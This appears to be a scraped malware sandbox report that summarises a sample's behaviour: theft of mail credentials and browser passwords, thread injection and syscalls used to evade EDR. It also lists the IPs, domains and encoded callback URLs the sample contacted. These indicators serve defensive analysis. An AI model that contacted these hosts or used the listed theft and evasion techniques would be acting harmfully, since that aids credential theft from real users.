signatures11 50 Tries to steal Mail credentials (via file / registry access) 19->50 52 Tries to harvest and steal browser information (history, passwords, etc) 19->52 54 Modifies the context of a thread in another process (thread injection) 19->54 56 2 other signatures 19->56 22 uFKwxSqRZbIimWVtjS.exe 19->22 injected 26 firefox.exe 19->26         started        process12 dnsIp13 34 www.xn--yzyp76d.com 47.76.62.167, 49720, 80 VODAFONE-TRANSIT-ASVodafoneNZLtdNZ United States 22->34 36 www.fashionagencylab.com 91.195.240.117, 49729, 49730, 49731 SEDO-ASDE Germany 22->36 38 2 other IPs or domains 22->38 58 Found direct / indirect Syscall (likely to bypass EDR) 22->58 signatures14
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
91.195.240.117
 www.fashionagencylab.com Germany
47846 SEDO-ASDE false
91.195.240.123
 www.cd14j.us Germany
47846 SEDO-ASDE false
47.76.62.167
 www.xn--yzyp76d.com United States
9500 VODAFONE-TRANSIT-ASVodafoneNZLtdNZ false
91.195.240.19
 parkingpage.namecheap.com Germany
47846 SEDO-ASDE false

Contacted Domains

Name IP Active
www.xn--yzyp76d.com 47.76.62.167 true
parkingpage.namecheap.com 91.195.240.19 true
www.cd14j.us 91.195.240.123 true
www.fashionagencylab.com 91.195.240.117 true
www.luckydomainz.shop unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://www.fashionagencylab.com/pq0o/ false
    		unknown
    http://www.xn--yzyp76d.com/pq0o/?Lx=8PqlJ028VT_&sHlxgpX=J8WC84xruYdLZ+88O/faPZDbDvgvpAFcdnGo6AhEflv3qioXWy6Vm5wGjKWjZFBj5bzfVwWaJCB72b3lEpkTVQZSX1dtpaRBnFtuiUAedf4oW0TmsJoC9BTZIWyKDmIsTQ== false
      		unknown
      http://www.cd14j.us/pq0o/?Lx=8PqlJ028VT_&sHlxgpX=zdIBKqN9oP3plxVX8thCZZdmDrHBie+/57+iRklTGjPKULzejm8MTR3zmbqN1d/mp0y1+1mzyQU/+H24oE5uBlYVorRh6rpQbOSJYQm+mXyPaQohcHNhiXaWLX+2tNk6Xw== false
        		unknown
        http://www.luckydomainz.shop/pq0o/?sHlxgpX=zlo+FGSBhCkM5GVOiSRgbmytEbX4vu088Yj7BD8zO0hDA+Ttp+tE7JQXtFhQSzjU/FmrV36xGrNmbpUbkD9mJUabQMjhSVlFurdcd91J2fhXl/3bZKBIsDf+Ls10KGv+Sw==&Lx=8PqlJ028VT_ true
          		unknown
          http://www.cd14j.us/pq0o/ false unknown
          http://www.fashionagencylab.com/pq0o/?sHlxgpX=Ed/ELXNC0S7dMHCut27L778qDXjqsr17l3BGGyc+QR+QSIsAiYGE9ikEmCd6tM+iTSJXxriNtRC8Y/iBHpE37xqgjcRlXnwEl/GWP1Z5DHGRU92yhpKCU6gPuWpCXnwQNw==&Lx=8PqlJ028VT_ false
            		unknown
            http://www.luckydomainz.shop/pq0o/ true unknown